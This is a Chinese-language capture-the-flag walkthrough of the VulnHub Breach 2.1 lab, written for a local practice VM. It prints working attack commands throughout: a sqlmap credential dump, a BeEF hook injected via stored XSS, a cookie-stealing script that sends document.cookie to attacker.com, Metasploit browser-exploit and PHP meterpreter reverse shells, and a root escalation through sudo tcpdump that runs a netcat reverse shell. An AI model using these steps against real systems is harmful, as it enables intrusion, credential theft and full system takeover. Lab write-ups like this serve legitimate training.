Breach2.1靶机攻略
前情提要:
靶机地址:
https://www.vulnhub.com/entry/breach-21,159/ (需要梯子否则域名会跳转至别处)kali地址:
https://www.kali.org/get-kali/#kali-platforms (可能需要梯子)靶机版本:Breach-2_final2.1
kali版本:kali-linux-2024.4-vmware-amd64
虚拟机平台:VMware Workstation PRO 17
网卡模式:仅主机
kali IP:192.168.110.150
靶机 IP:192.168.110.151
靶机介绍:
靶机概述
难度:中等难度。
发布时间:2016年8月15日。
设计目的:用于渗透测试和CTF挑战,模拟真实场景中的网络安全问题,帮助测试人员提升漏洞挖掘和利用能力。
靶机功能与用途
信息收集与漏洞探测:靶机配置了静态IP,需要攻击者通过扫描工具进行主机发现和端口扫描,收集开放端口和服务版本等信息。
Web渗透与漏洞利用:靶机开放了80端口的Web服务,存在SQL注入、XSS等漏洞,攻击者可以通过工具进行漏洞利用。
权限提升与系统控制:通过利用Web漏洞获取shell后,进一步在系统内部进行权限提升,访问关键文件和数据。
数据包嗅探与分析:利用网络服务中的明文传输特点,通过嗅探数据包获取敏感信息,如用户名和密码。
靶机特点
动态端口开放:靶机的某些服务端口会在特定条件下开放,增加了信息收集的复杂性和趣味性。
多阶段挑战:需要攻击者逐步深入,从信息收集到漏洞利用,再到权限提升,每个阶段都有不同的挑战和知识点。
真实场景模拟:模拟真实网络环境中的服务器,具有开放的常用端口(如SSH、HTTP等),提供常见的网络服务。
常用工具与技术
信息收集工具:如nmap用于端口扫描,dirbuster用于目录扫描。
漏洞利用工具:如sqlmap用于SQL注入,Burp Suite用于Web漏洞测试。
数据包分析工具:如tcpdump用于嗅探数据包。
权限提升技术:通过利用系统漏洞或配置错误来实现权限提升。
渗透开始:
信息收集:
目前已知目标靶机IP地址192.168.110.151,现在使用nmap工具对主机进行扫描。
打开控制台切换用户sudu su输入kali账户的密码,接着使用-sS -sV -T4 -A -p-这些参数扫描。
输入nmap -sS -sV -T4 -A -p- 192.168.110.151 回车执行 . . . 等待 . . .
-sS进行TCP SYN扫描(半开扫描)
-sV启用服务版本检测
-T4设置扫描速度为侵略性模式
-A启用操作系统检测
-p-扫描所有端口

发现ssh服务,端口在65535 尝试连接看看,输入ssh 192.168.110.151 -p 65535 回车执行

发现用户名Peter 密码inthesource 我们使用peter账号连接,输入ssh peter@192.168.110.151 -p 65535

被拒绝了?关闭了?想想应该是进去了,但执行了某个脚本,打印了后面两句话后关闭了服务,我们再次扫描靶机看看。
输入nmap 192.168.110.151 并执行,发现80端口开放http服务打开了。

访问一下看看网页上有什么吧

网页上图片中显示BEEF的字样,是一款功能强大的浏览器渗透测试框架。看看源码,发现注释:
I like hints! Here at Initech we don't trust our users and either should you!
I'm not just going to stick creds here, really, I'm not. Sorry
我喜欢提示!在Initech,我们不信任我们的用户,你也不应该信任!
我不会只是在这里坚守信念,真的,我不会。很抱歉。
还是没什么有用线索,不过BEEF给了我提示,说明不止这一个网页,我们要找到一个能够注入恶意代码的网页。
爆破一下,使用dirb工具对该网站根目录实施扫描,输入dirb http://192.168.110.151 并执行。

发现有一个博客目录blog是博客的意思,访问看看

挖掘与验证漏洞:
确实是个博客网站,发现输入框!秉承着见框就插的原则,在框内插入XSS语句:<script>alert('反射型(xss)')</script>,测试看看有没有注入漏洞,点击GO

发现插入xss的语句会传入get传参中,前端没有做过滤,存在XSS恶意代码注入漏洞
我们进行SQL注入找到管理员的账户和密码,输入:sqlmap -u http://192.168.110.151/blog/index.php?search=111 -D oscommerce -Tosc_administrators --dump 并执行


获取到了管理员账户admin和md5加密后的密码685cef95aa31989f2edae5e055ffd2c9:32
“685cef95aa31989f2edae5e055ffd2c9”是哈希值,“32”是盐值。

使用32admin前面的32不用管后面的admin才是密码!线索断了,现在回去搜索博客系统看看有没有什么线索


blogphp
该博客系统版本存在存储型XSS,在注册页面用户名的地方输入XSS攻击语句就可以成功攻击
XSS漏洞介绍
什么是XSS漏洞
XSS(Cross-Site Scripting,跨站脚本攻击)是一种安全漏洞,通常出现在Web应用程序中。攻击者通过在Web页面中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在其浏览器中执行,从而达到攻击的目的。XSS漏洞可以分为反射型XSS、存储型XSS和DOM型XSS三种类型。
XSS漏洞的分类
反射型XSS:攻击者构造一个包含恶意脚本的URL,诱使用户点击链接,触发XSS代码。
存储型XSS:攻击者在存在漏洞的网站提交构造的XSS代码,当用户访问该页面时,恶意脚本被执行。
DOM型XSS:攻击者构造一个包含恶意代码的URL,当用户访问时,浏览器解析HTML并构建DOM树,恶意脚本通过修改DOM在用户的浏览器上执行。
XSS漏洞的利用方式
窃取用户Cookie:通过恶意脚本获取用户的Cookie信息,进而冒充用户身份。
会话劫持:攻击者通过XSS漏洞获取用户的会话ID,从而劫持用户的会话。
篡改页面内容:恶意脚本可以修改页面内容,欺骗用户或引导用户进行某些操作。
钓鱼攻击:构造虚假的登录页面,诱使用户输入敏感信息。
XSS漏洞的防御措施
输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保只接受预期的数据类型和格式。
输出编码:对输出的内容进行适当的编码,避免恶意脚本被浏览器解析执行。
使用HTTP头部策略:设置
Content-Security-Policy (CSP)来限制网页加载的资源来源,设置HttpOnly标志以防止JavaScript访问某些敏感的Cookie。限制脚本执行:避免在页面上使用危险的JavaScript函数,如
eval()、document.write()等。内容安全策略(CSP):通过设置
default-src为'self',只允许加载来自同一源的资源,限制脚本的加载来源。使用现代框架和库:在前端框架中,尽量使用框架提供的安全功能,如Vue中的
v-bind或React的dangerouslySetInnerHTML。
实战案例
假设你发现了一个Web应用存在XSS漏洞,可以通过以下步骤进行验证和利用:
发现漏洞:
使用工具如Burp Suite截获HTTP请求。
在请求参数中注入测试payload,如
<script>alert(1)</script>。如果页面弹出alert对话框,则说明存在XSS漏洞。
利用漏洞:
构造恶意脚本,如窃取Cookie:
JavaScript复制
<script> document.location = "http://attacker.com/steal?" + document.cookie; </script>将恶意脚本注入到目标页面,可以通过反射型或存储型XSS实现。
防御措施:
在服务器端对用户输入进行过滤和验证。
在前端对输出内容进行编码。
设置CSP策略,限制脚本来源。
攻击漏洞:
使用beef和msfconsole反弹shell,终端输入beef-xss打开工具,上面显示的Web UI (beef web页面)、Hook (钩子)、Example (示例)
复制Hook 将<IP> 替换成kali 的IP 我的是192.168.110.150

点击右侧菜单栏中的register注册新用户,将执行语句<script src="http://192.168.110.150:3000/hook.js"></script>嵌入用户名处(下面我做错了,图片里的IP是不对的),剩下的密码和邮箱随便输入,没有有效性检查,填完表单后点击Register完成注册

注册后点击Members看不见用户名就说明恶意代码已嵌入成功了

随后回到Home点击Archive

切换至beef-xss中查看,发现浏览器是Firefox15.0版本,Mozilla Firefox ESR 15内存破坏漏洞(CVE-2012-3982)可导致任意代码执行

CVE-2012-3982漏洞介绍
漏洞概述
CVE-2012-3982是浏览器引擎中的一个内存破坏漏洞,存在于Mozilla Firefox、Thunderbird、SeaMonkey等产品中。该漏洞允许远程攻击者通过构造恶意的Web页面,诱使用户访问,从而导致浏览器内存损坏,可能造成拒绝服务(如浏览器崩溃)或执行任意代码。
漏洞详情
漏洞成因:该漏洞源于浏览器引擎处理特定输入时的未知缺陷,导致内存破坏。攻击者可以利用这些缺陷执行任意代码或使应用程序崩溃。
影响范围:包括Mozilla Firefox 16.0之前版本、Thunderbird 16.0之前版本、SeaMonkey 2.13之前版本等。
利用方式:攻击者可以构建恶意网页,诱使用户访问,从而触发漏洞。成功利用该漏洞可能导致远程执行代码或拒绝服务攻击。
修复建议
更新软件:建议用户将受影响的软件更新到最新版本,以修复该漏洞。
应用补丁:对于无法立即更新的系统,应尽快应用相关的安全补丁。
参考链接
打开msfconsole工具,输入msfconsole并执行,选择要利用的exp框架
use exploit/multi/browser/firefox_proto_crmfrequest
show options
set payload generic/shell_reverse_tcp
set srvhost 192.168.110.150
set uripath shell
set lhost 192.168.110.150
切换至Beef-xss工具中,在Online Browsers中选中靶机IP,点击菜单栏中的Commands,在搜索框中搜索red选择Redirect Browser
接着在URL输入框中输入MSF工具生成的URL 然后点击Execute执行

稍等片刻......MSF工具有反馈了,说明代码执行成功,反弹shell了

心急吃不了热豆腐,浏览器获取的Shell并不持久,连上一会就断了,所以我们要做持续化,现在将Shell转移至MSF中。
use post/multi/manage/shell_to_meterpreter #选择框架
sessions #查看Shell的ID
show options #查看需要填写的参数
set session 1 #将之前查看的ID填入
exploit #运行随后再次输入sessions查看发现多出了一个ID为2的Shell,用户为peter
输入sessions -i 2连接Shell,再输入shell进入bash界面,最后输入id或者whoami看看用户

是不是觉得有些奇怪?没事,如果你不能适应则输入并执行python -c 'import pty; pty.spawn("/bin/bash")' 这行命令的作用是通过 Python 的 pty 模块启动一个新的 Bash shell。这个命令通常用于在受限的环境中(如某些渗透测试场景)获取一个交互式的 shell 提示符。
输入netstat -ntulp查看靶机的端口占用情况,发现有一个本地才能访问的端口2323,上面的3306是MySQL服务的之前的SQL注入证明了有这个服务。

我们输入telnet 127.0.0.1 2323连接看看

获得一个坐标,上Google地图搜索看看,坐标是一个公园:Houston Police Department Memorial

猜测和密码相关,或者用户名,我们输入cat /etc/passwd查看一下有哪些用户吧

发现“blumbergh”和“milton”两个用户,将Houston作为milton和blumbergh的密码进行尝试登录

通过验证发现是milton用户的密码,但又问了一句:Whose stapler is it?(这是谁的订书机)
寻找关于milton用户的文件,输入find /usr -user milton找到一个名为cd.py的文件

通过查看脚本得知问题的答案是mine 我们重新连接回答问题

成功登录milton用户,再次查看端口占用情况,发现启动了一个8888端口,访问后发现是个网站目录页,点击oscommerce

上面两个网页都没什么利用价值,我们直接上扫描,输入dirb http://192.168.110.151:8888/并执行

爆破发现后台登录地址,访问后输入之前sql拿到的管理员账户和密码

登录后,点击Tools (工具) 选择File Manager (文件管理),找有写入权限的目录,includes–>work目录

!!!提示!!! 如果kali登录的用户是普通用户则切换至home目录或者其他有权限访问的地方,否则上传时无法进入脚本存放的文件夹
制作反弹shell脚本,输入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.110.150 LPORT=8888 -f raw > shell.php并执行

打开MSF工具,开始监听
use exploit/multi/handler #使用exp监听模块
set payload php/meterpreter/reverse_tcp #使用payload为之前生成后门所用的payload
set lhost 192.168.110.150 #接收shell的ip
set lport 8888 #监听端口
点击Upload上传shell.php脚本


上传后,在浏览器中访问shell.php,访问的url为:http://192.168.110.151:8888/oscommerce/includes/work/shell.php访问之后,msf顺利接收到shell,然后提权。

发现root不需要密码的命令为tcpdump,监听2025端口

制作提权脚本
echo "nc 192.168.110.5 2021 -e /bin/bash"> /tmp/shell.sh #在/tmp目录下写入shell.sh脚本
chmod +x /tmp/shell.sh #添加执行权限
sudo /usr/sbin/tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root #使用tcpdump命令运行此脚本
账户提权成功!
监听到shell已反弹,权限是root,切换至~路径下,然后输入ls-la找到了隐藏文件flag.py

输入python .flag.py运行flag.py查看结算画面
